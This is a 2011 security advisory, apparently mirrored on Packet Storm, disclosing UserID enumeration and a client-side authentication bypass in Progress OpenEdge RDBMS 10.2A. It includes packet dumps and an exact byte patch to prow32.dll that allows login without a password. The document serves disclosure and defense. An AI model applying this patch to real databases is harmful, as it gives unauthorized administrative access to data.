what you don't know can hurt you

Progress OpenEdge Enterprise RDBMS 10.2A Bypass

Progress OpenEdge Enterprise RDBMS 10.2A Bypass
Posted Jan 25, 2011
Authored by Sh2kerr, Alexey Sintsov, Alexey Troshichev | Site dsecrg.com

Progress OpenEdge Enterprise RDBMS version 10.2A has some vulnerabilities that make it possible to enumerate UserID and bypass authentication.

tags | advisory, vulnerability
MD5 | 76ffa9c759047ceaeb2141ffe42c5431

Progress OpenEdge Enterprise RDBMS 10.2A Bypass

Change Mirror Download
Digital Security Research Group [DSecRG] Advisory       #DSECRG-11-008

Application: Progress OpenEdge Enterprise RDBMS
Versions Affected: 10.2A and maybe others
Vendor URL: http://web.progress.com
Bug: Authentication bypass, UserID enumerate
Exploits: YES
Reported: 13.10.2009
Vendor response: 13.10.2009
Solution: NONE
Date of Public Advisory:24.01.2011
Authors: Alexander Polyakov, Alexey Sintsov, Alexey Troshichev of Digital Security Research Group [DSecRG]



Description
***********

Progress OpenEdge Enterprise RDBMS (formerly known as the Progress RDBMS) is
a high-efficiency relational database management system by company Progress
Software Corp productions.It is widely used as backend for cutomezed ERP systems.
This RDBMS has some vulnerabilities that make possible
to enumerate UserID and bypass authentification.

Details
*******


1. UserID enumerate

Attacker can get valid UserID. It is possible because OpenEdge RDBMS server
give different answers for situation when password is incorrect and when
UserID does not exist. Client application in both way gives the same message
- “Your Password and UserID <USERID> do not much”. But in network layer
answers from server are different:

Packet 1. From server to client, if UserID exist (UserID eq AAA):

0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E.
0x0010 00 C3 00 00 00 00 40 06-7C 33 7F 00 00 01 7F 00 .A....@.|3....
0x0020 00 01 0B B8 10 42 56 07-00 00 00 00 00 00 50 00 ...?.BV.......P.
0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 9B 00 4F @..........-.›.O
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 4F FF FB ..........h.Oyu
0x0070 00 00 00 00 00 00 0F 02-00 00 00 00 00 00 00 00 ................
0x0080 22 C0 E7 00 02 00 3C 01-FB 03 41 41 41 10 72 6D "Ac...<.u.AAA.rm
0x0090 57 78 6A 69 64 4E 63 6E-4D 64 6D 69 61 63 03 41 WxjidNcnMdmiac.A
0x00A0 41 41 FA 00 09 FD FD FD-FD FD FD FD FD FF FA 00 AAu..yyyyyyyyyu.
0x00B0 09 FD FD FD FD FD FD FD-FD FF FD FD FD FD FD FD .yyyyyyyyyyyyyyy
0x00C0 FD FD FD FD FD FD FD FD-FD FD FD FD FD FD FD FD yyyyyyyyyyyyyyyy
0x00D0 FD y


Packet 2. From server to client, if UserId does not exist:

0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E.
0x0010 00 74 00 00 00 00 40 06-7C 82 7F 00 00 01 7F 00 .t....@.|‚....
0x0020 00 01 0B B8 10 45 56 07-00 00 00 00 00 00 50 00 ...?.EV.......P.
0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 4C FB 41 @..........-.LuA
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 00 FF FB ..........h..yu

So attacker can connect to RDBMS server with different UserID and see
network answers for getting existing UserID.

2. Authentication bypass

Remote attacker can log in into RDBMS use existing or not existing UserID
without password. It is possible because authentication process is going
on client side. When password incorrect client application reset connection
with server and show message box. If password is correct, client send to
server UserID which he will be to use in RDBMS.

Packet 3. From client to server, when password for UserID TEST2 is correct:

0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E.
0x0010 00 6E 00 00 00 00 40 06-7C 88 7F 00 00 01 7F 00 .n....@.|?....
0x0020 00 01 0B 27 0B B8 13 03-00 00 00 00 00 00 50 00 ...'.?........P.
0x0030 40 00 00 00 00 00 00 00-00 09 00 14 00 46 00 00 @............F..
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 73 ..............Us
0x0060 65 72 69 64 20 69 73 20-6E 6F 77 20 54 45 53 54 erid is now TEST
0x0070 32 2E 20 28 37 30 38 29-00 00 00 00 2. (708)....

Example of attack:

Patch of %OpenEdge%\bin\prow32.dll (for version 10.2A)

Begin address: 0x020065
- 0f85ce020000
+ 909090909090

After that run DataAdministration(%OpenEdge%\bin\prowin32.exe) and try to
enter into RDBMS with any UserID and without password.
Application show error message box, but allow to enter into RDBMS with
chosen UserId. If chosen UserID has a Security Administrator privileges,
so attacker gets this privileges. By default in OpenEdge RDBMS all
users have Security Administrator privileges.

Fix Information
***************
The only one possible fix is to use Windows authentication instead of proprietary.


References
*********

http://dsecrg.com/content/vul/edit.php?id=308
https://www.blackhat.com/html/bh-dc-11/bh-dc-11-archives.html#Smith



About
*****

Digital Security:

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com





Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: a.polyakov@dsec.ru

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru


-----------------------------------
This message and any attachment are confidential and may be privileged or otherwise protected
from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure
is strictly prohibited. If you have received this message in error, please notify the sender immediately
either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence
via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding
statements by e-mail unless otherwise agreed.
-----------------------------------
Login or Register to add favorites

File Archive:

July 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    13 Files
  • 2
    Jul 2nd
    12 Files
  • 3
    Jul 3rd
    1 Files
  • 4
    Jul 4th
    2 Files
  • 5
    Jul 5th
    34 Files
  • 6
    Jul 6th
    21 Files
  • 7
    Jul 7th
    21 Files
  • 8
    Jul 8th
    13 Files
  • 9
    Jul 9th
    6 Files
  • 10
    Jul 10th
    1 Files
  • 11
    Jul 11th
    3 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    19 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    15 Files
  • 16
    Jul 16th
    9 Files
  • 17
    Jul 17th
    2 Files
  • 18
    Jul 18th
    2 Files
  • 19
    Jul 19th
    19 Files
  • 20
    Jul 20th
    21 Files
  • 21
    Jul 21st
    53 Files
  • 22
    Jul 22nd
    14 Files
  • 23
    Jul 23rd
    14 Files
  • 24
    Jul 24th
    1 Files
  • 25
    Jul 25th
    1 Files
  • 26
    Jul 26th
    21 Files
  • 27
    Jul 27th
    8 Files
  • 28
    Jul 28th
    9 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close